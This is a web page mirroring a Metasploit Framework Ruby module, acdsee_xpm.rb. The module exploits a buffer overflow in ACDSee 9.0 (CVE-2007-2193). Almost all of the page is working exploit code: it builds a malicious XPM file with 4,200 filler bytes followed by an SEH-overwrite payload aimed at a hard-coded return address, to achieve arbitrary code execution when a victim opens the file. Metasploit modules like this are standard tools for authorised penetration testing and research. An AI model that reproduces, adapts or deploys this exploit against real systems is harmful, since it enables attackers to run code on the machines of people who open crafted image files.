CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/acdsee_xpm.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ACDSee XPM File Section Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in ACDSee 9.0.
17
When viewing a malicious XPM file with the ACDSee product,
18
a remote attacker could overflow a buffer and execute
19
arbitrary code.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => 'MC',
23
'References' =>
24
[
25
[ 'CVE', '2007-2193' ],
26
[ 'OSVDB', '35236' ],
27
[ 'BID', '23620' ],
28
],
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
'DisablePayloadHandler' => true,
33
'AllowWin32SEH' => true
34
},
35
'Payload' =>
36
{
37
'Space' => 750,
38
'BadChars' => "\x00",
39
'StackAdjustment' => -3500,
40
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
41
'DisableNops' => 'True',
42
},
43
'Platform' => 'win',
44
'Targets' =>
45
[
46
[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2007-11-23',
50
'DefaultTarget' => 0))
51
52
register_options(
53
[
54
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),
55
])
56
end
57
58
def exploit
59
60
filler = rand_text_alpha_upper(rand(25) + 1)
61
62
# http://www.fileformat.info/format/xpm/
63
head = "/* XPM */\r\n"
64
head << "static char * #{filler}[] = {\r\n"
65
head << "\""
66
67
buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
68
69
foot = "\",\r\n" + "};\r\n"
70
71
xpm = head + buff + foot
72
73
print_status("Creating '#{datastore['FILENAME']}' file ...")
74
75
file_create(xpm)
76
77
end
78
end
79
80